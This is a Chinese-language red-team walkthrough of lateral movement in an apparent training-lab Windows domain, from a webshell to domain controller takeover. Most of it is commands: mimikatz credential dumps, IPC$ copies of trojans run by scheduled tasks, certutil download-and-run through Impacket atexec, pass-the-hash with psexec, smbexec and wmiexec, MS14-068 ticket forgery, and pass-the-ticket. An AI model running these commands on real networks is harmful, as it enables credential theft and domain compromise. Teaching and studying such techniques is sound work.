内网渗透之横向移动实战
在红队渗透测试中,当我们通过 Web 渗透拿到边界服务器的权限后,往往不会止步于此 —— 内部网络中还隐藏着更多的核心资产,比如存储着企业所有账号信息的域控制器。而横向移动,就是我们从边界主机出发,一步步渗透到内网核心、最终拿下域控权限的核心技术。
简单来说,横向移动就是攻击者从一个受控主机,迁移到内网中另一个主机的过程:以已攻陷的主机作为跳板,探测内网存活资产、收集用户凭据,最终通过各种技术控制更多的远程机器,直至获取核心机密数据。
一、渗透环境说明
在本次实战中,我们面对的是一个典型的企业域环境:
webserver是整个网络唯一对外服务的主机,只有它能够访问外网,其余所有内网主机都无法出网,仅支持域内通信;整个域内的所有机器都由域控制器(DC)统一管理,域控是我们的最终目标。
目前我们已经通过 Web 渗透拿到了webserver的 Webshell 权限,接下来我们将以此为起点,完成整个内网横向渗透,最终拿下域控权限。
图 1:内网横向渗透的网络拓扑,我们以边界的 webserver 为跳板,逐步渗透到内网核心
二、前期准备:上线与信息收集
拿到 Webshell 之后,我们的第一步是将主机上线到 Cobalt Strike(CS),这样才能更方便地进行后续的内网操作。
2.1 上线 CS Beacon
首先我们通过 Webshell 上传 CS 生成的木马,调用 webserver 主机运行木马,让主机成功上线到 CS 的 Beacon 中,此时我们就获得了这台主机的初步控制权限。
2.2 域环境信息收集
上线之后,我们首先要做的就是摸清内网的环境,收集足够的信息为后续的横向移动做准备:
判断是否为域环境首先我们需要确认当前主机是否加入了域,这是域渗透的基础:
shell net time /domain
如果命令成功返回了域的时间信息,就说明当前主机处于域环境中。
获取域控 IP 地址拿到域名之后,我们可以通过 ping 命令解析出域控的 IP 地址:
shell ping OWA2010CN-God.god.org -4
收集域内用户信息接下来我们可以收集整个域内的所有用户账号,为后续的凭据利用做准备:
shell net user /domain
内网资产扫描我们可以通过 CS 的插件,扫描整个域内的网络、端口信息,这些扫描结果会展示在 CS 的 "视图 - 目标" 栏目中,帮助我们发现内网中存活的主机和开放的服务。 扫描中我们发现,当前的 webserver 存在两个网段:
10\.0\.0\.0/24:可以出网的边界网段192\.168\.3\.0/24:无法出网的纯内网网段,这就是我们接下来要渗透的目标网段
2.3 提权与凭据收集
要抓取内网的用户凭据,我们需要先拿到主机的 System 权限,因此我们需要先进行提权操作: 我们可以使用 CS 的提权插件,多次尝试后即可拿到 System 权限的会话,此时我们就拥有了这台主机的最高权限。
提权完成后,我们就可以使用 mimikatz 插件,抓取当前主机内存中的用户凭据了。
原理说明:在域环境中,当域内的其他账号登录到这台主机时,域验证的过程会将账号密码的哈希值暂存在主机的运行内存中,mimikatz 就可以从内存中把这些凭据抓取出来。
抓取完成后,我们就可以在 CS 的 "凭据信息" 中,看到所有在这台主机上登录过的账号、明文密码以及 NTLM 哈希值,这些凭据就是我们后续横向移动的 "钥匙"。
三、经典方案:基于 IPC 的横向移动
拿到凭据之后,我们就可以开始横向移动了,最经典的方式就是利用 IPC 连接来实现。
3.1 什么是 IPC 连接?
IPC(Internet Process Connection,进程间通信)是 Windows 提供的一种进程间通信技术,通过它我们可以在两台主机之间建立通信连接,而IPC$是 Windows 系统默认的隐藏共享,专门用于进程间的通信。
当我们通过账号密码和目标主机建立 IPC 连接之后,就可以像操作本地主机一样,访问远程主机的资源:查看远程目录、复制文件、创建计划任务、启动系统服务等等,这也是我们横向移动的基础。
3.2 正向连接方式
正向连接,就是我们让目标主机开放一个端口,我们主动去连接它,具体步骤如下:
创建正向监听器首先在 CS 中创建一个正向连接的监听器,用于接收目标主机的上线请求。
生成正向木马基于这个正向监听器,生成对应的木马文件,保存到本地。
建立 IPC 连接接下来我们使用之前收集到的管理员凭据,和目标内网主机建立 IPC 连接,有两种方式可以选择:
手动命令方式:
shell net use \\192.168.3.21\ipc$ "Admin12345" /user:god.org\administrator
插件方式:直接使用 CS 的横向移动插件,输入目标 IP 和账号密码,一键建立连接。
上传并复制木马我们先把生成的正向木马上传到当前的 webserver,然后通过 IPC 连接,把木马复制到目标主机的 C 盘下:
shell copy 4444.exe \\192.168.3.21\c$
创建计划任务运行木马接下来我们查看目标主机的当前时间,然后创建计划任务,让目标主机在指定时间运行我们的木马:
对于 Windows2012 之前的系统,使用
at命令:# 查看当前时间 shell net time # 创建计划任务,12:51运行木马 shell at \\192.168.3.21 12:51 c:\4444.exe
对于 Windows2012 及之后的系统,使用
schtasks命令:shell schtasks /create /s 192.168.3.21 /ru "SYSTEM" /tn beacon /sc DAILY /tr c:\4444.exe /F
连接目标主机,完成上线等到计划任务的时间到了,木马就会在目标主机上运行,开放正向的连接端口,我们只需要在 CS 中连接这个端口,目标主机就成功上线了:
connect 192.168.3.21 4444
3.3 反向连接方式
反向连接则是反过来,让目标主机主动连接我们的受控主机,这种方式更适合内网的防火墙限制,具体步骤如下:
配置代理转发在 CS 的提权会话中,选择 "代理转发 - 转发上线" 模块,设置转发的 IP 为当前 webserver 的内网 IP(因为目标主机是内网主机,只能访问内网 IP)。
生成反向木马基于这个转发的监听器,生成反向的木马文件
5555\.exe。复制木马到目标主机和正向连接一样,我们先把木马上传到 webserver,然后通过 IPC 连接复制到目标主机的 C 盘:
shell copy 5555.exe \\192.168.3.21\c$
创建计划任务运行木马同样,我们创建计划任务,让目标主机运行木马:
shell net time shell at \\192.168.3.21 12:20 c:\5555.exe
等待上线木马运行后,会主动反向连接我们的 webserver 的内网 IP,然后通过 CS 的代理转发,最终上线到我们的 CS 服务器,这样就完成了反向的横向移动。
四、高效方案:Impacket 工具套件的横向渗透
手动的 IPC 连接步骤比较繁琐,在实战中我们更常用 Impacket 这个工具包,它可以帮我们更高效地完成横向移动。
4.1 什么是 Impacket?
Impacket 是一个开源的网络协议工具包,它实现了大量的 Windows 通信协议,比如 SMB、MSRPC、WMI、LDAP 等等,是红队人员做域渗透最常用的工具之一。 Impacket 的工具原本是 Python 脚本,不过我们也可以把它打包成 exe 可执行文件,方便在 Windows 主机上运行。
图 2:Impacket 工具的命令行使用效果
4.2 上传工具的使用方式
最基础的使用方式,是把 Impacket 的工具上传到我们的受控 webserver 上,然后调用它来执行命令:
上传工具我们把打包好的
atexec\.exe上传到 webserver 上。执行远程命令然后我们就可以用它来连接目标内网主机,执行任意命令,既支持明文密码,也支持哈希值(Pass the Hash):
# 明文密码方式 shell atexec.exe god/administrator:Admin12345@192.168.3.21 "whoami" # 哈希值方式,不需要明文密码 shell atexec.exe -hashes :ccef208c6485269c20db2cad21734fe7 god/Administrator@192.168.3.21 "whoami"
下载并运行木马接下来我们把 CS 的木马上传到 webserver 的网站根目录,然后用 atexec 让目标主机下载并运行木马:
# 让目标主机从webserver下载木马 shell atexec.exe god/administrator:Admin12345@192.168.3.21 "certutil.exe -urlcache -split -f http://192.168.3.31:80/5555.exe fan.exe" # 运行木马,完成上线 shell atexec.exe god/administrator:Admin12345@192.168.3.21 "fan.exe"
4.3 更优雅的方式:代理转发 + 本地执行
上传工具的方式有个缺点:需要上传文件,容易被杀毒软件发现。其实我们可以用 CS 的 SOCKS 代理转发,直接在我们的本地攻击机上运行 Impacket 工具,不需要上传任何文件到目标主机!
步骤非常简单:
在 CS 中开启 SOCKS 代理,把内网的流量转发到我们的本地。
在本地配置代理,让我们的攻击机可以通过这个代理访问内网的主机。
直接在本地的命令行运行 Impacket 工具,就像目标内网主机就在我们本地一样:
atexec.exe god/administrator:Admin12345@192.168.3.21 "whoami"
这种方式完全不需要上传任何文件到目标主机,更加隐蔽,也是实战中最常用的方式。
4.4 Impacket 的三个经典横向工具
除了 atexec,Impacket 还提供了三个非常常用的横向工具,都可以通过哈希值直接连接目标主机,不需要明文密码:
[psexec.py](psexec.py)最经典的横向工具,通过 SMB 协议在远程主机上创建服务,执行命令,连接成功后会直接返回目标主机的命令行:
python3 psexec.py -hashes :ccef208c6485269c20db2cad21734fe7 god/Administrator@192.168.3.21
[smbexec.py](smbexec.py)和 psexec 类似,同样通过 SMB 协议,不过它不需要创建新的服务,更加隐蔽,连接后同样返回命令行:
python3 smbexec.py -hashes :ccef208c6485269c20db2cad21734fe7 god/Administrator@192.168.3.21
[wmiexe.py](wmiexe.py)通过 WMI 协议执行远程命令,WMI 是 Windows 的标准管理协议,很多防火墙都不会拦截,因此隐蔽性更强:
python3 wmiexe.py -hashes :ccef208c6485269c20db2cad21734fe7 god/Administrator@192.168.3.21
拿到目标主机的命令行之后,我们只需要像之前一样,把 CS 的木马下载到目标主机运行,就可以让目标主机上线到 CS 了,完成横向移动。
五、无密码方案:票据传递(PTT)横向渗透
如果我们没有拿到管理员的明文密码,甚至连哈希值都没有,那是不是就没办法横向了?当然不是,我们还可以用 \\票据传递(Pass the Ticket,PTT)\\技术,利用 Kerberos 的票据来实现横向,甚至不需要管理员权限。
5.1 Kerberos 协议基础
要理解票据传递,我们首先要了解 Kerberos 协议,它是 Windows 域环境默认的认证协议,相当于域环境的 "登录凭证系统"。
图 3:Kerberos 协议的认证流程
Kerberos 的认证流程分为三个步骤:
AS 认证:客户端带着用户的密码哈希,向 KDC(密钥分发中心,也就是域控)的 AS 服务请求 TGT 票据;AS 验证通过后,会给客户端返回一个 TGT(票据授予票据),这个票据用来证明用户的身份,有效期默认 10 小时。
TGS 认证:当客户端要访问某个服务的时候,带着 TGT 向 TGS 服务请求 ST 服务票据;TGS 验证通过后,返回对应的 ST 票据。
服务认证:客户端带着 ST 票据访问目标服务,服务验证 ST 通过后,就允许客户端访问,不需要再输入密码。
简单来说,TGT 就像是域里的 "身份证",只要你有这个身份证,你就可以访问域里的所有资源,不需要再输入密码。而票据传递,就是我们伪造或者窃取这个 "身份证",用来冒充管理员访问域控。
除此之外,票据攻击还有两个经典的类型:
黄金票据:用域内
krbtgt账号的 NTLM Hash 加密伪造的 TGT 票据,拥有整个域的最高权限,可以访问任何资源。白银票据:用服务账号的 NTLM Hash 加密伪造的 ST 票据,只能访问特定的服务,更加隐蔽。
5.2 方法一:利用 MS14-068 漏洞伪造票据
MS14-068 是域控 KDC 服务的一个漏洞,攻击者可以利用这个漏洞,伪造一个管理员权限的 TGT 票据,直接拿到域控的权限,步骤如下:
获取当前用户的 SID首先我们查看当前用户的 SID:
shell whoami /user
生成伪造的票据我们使用 MS14-068 的工具,用当前用户的信息,伪造一个管理员权限的票据:
MS14-068.exe -u webadmin@god.org -s S-1-5-21-1218902331-2157346161-1782232778-1132 -d 192.168.3.21 -p admin!@#45
清除原有票据为了避免原有票据的影响,我们先清除当前主机上所有的缓存票据:
# 查看当前票据 shell klist # 清除所有票据 shell klist purge
导入伪造的票据然后我们用 mimikatz 把我们生成的伪造票据导入到当前主机的内存中:
mimikatz kerberos::ptc TGT_webadmin@god.org.ccache # 查看导入后的票据 shell klist
利用票据访问域控导入完成后,我们就可以用这个伪造的票据,直接访问域控的 C 盘共享,就像域管理员一样:
shell dir \\owa2010cn-god\c$
接下来我们就可以把木马复制到域控,创建服务运行木马,拿下域控的权限:
shell copy 5555.exe \\OWA2010CN-God\c$ shell sc \\OWA2010CN-God create bindshe binpath= "c:\5555.exe" shell sc \\OWA2010CN-God start bindshe
当然,这个方法的前提是域控没有打 MS14-068 的补丁,现在大部分企业的主机都已经修复了这个漏洞。
5.3 方法二:利用 Kekeo 工具生成票据
如果我们拿到了管理员的 NTLM 哈希,我们还可以用 Kekeo 工具,直接生成对应的 TGT 票据,不需要漏洞:
上传 Kekeo 工具把 Kekeo 工具上传到受控的 webserver。
生成票据用我们收集到的管理员的哈希值,生成对应的 TGT 票据:
shell kekeo "tgt::ask /user:Administrator /domain:god.org /ntlm:ccef208c6485269c20db2cad21734fe7" "test"
清除原有票据,导入新票据同样,我们先清除原有票据,然后把生成的票据导入内存:
shell klist purge shell kekeo "kerberos::ptt TGT_Administrator@GOD.ORG_krbtgt~god.org@GOD.ORG.kirbi" "test"
访问域控导入完成后,我们就可以直接访问域控的资源了:
shell dir \\owa2010cn-god\c$
这个方法的前提是我们拿到了正确的管理员 NTLM 哈希,只要哈希正确,票据就可以正常使用。
5.4 方法三:利用 mimikatz 导出历史票据
最简单的方法,如果域管理员之前登录过我们的受控主机,那主机的内存里就会缓存管理员的票据,我们直接把这个票据导出来用就可以了!
导出所有票据我们用 mimikatz 把当前主机上所有的登录票据都导出来:
mimikatz sekurlsa::tickets /export
选择管理员的票据在导出的文件中,我们找到域管理员的票据。
导入票据清除原有票据,然后把管理员的票据导入到当前内存中:
shell klist purge mimikatz kerberos::ptt C:\Users\webadmin\Desktop\[0;3e7]-0-0-40a40000-webadmin@ldap-OWA2010CN-God.god.org.kirbi
访问域控然后我们就可以直接用这个票据访问域控了:
shell dir \\owa2010cn-god\c$
这个方法非常简单,但是有两个限制:一是域管理员必须登录过这台主机,二是票据还在有效期内(默认 10 小时),有点看运气。
六、总结
内网横向移动是域渗透的核心环节,从边界的 Webshell 到最终的域控权限,我们有很多种不同的方法可以选择:
IPC 连接:最经典的手动方式,适合理解横向移动的基础原理,但是步骤繁琐。
Impacket 工具包:实战中最高效的方式,支持 Pass the Hash,配合 SOCKS 代理可以做到无文件攻击,隐蔽性极强。
票据传递(PTT):无明文密码情况下的解决方案,利用 Kerberos 的票据绕过密码验证,在无法获取密码哈希的场景下非常有用。
在实际的渗透测试中,我们会根据目标的环境,灵活选择不同的方法,一步步从边界主机,渗透到内网的核心,最终拿下整个域的控制权。
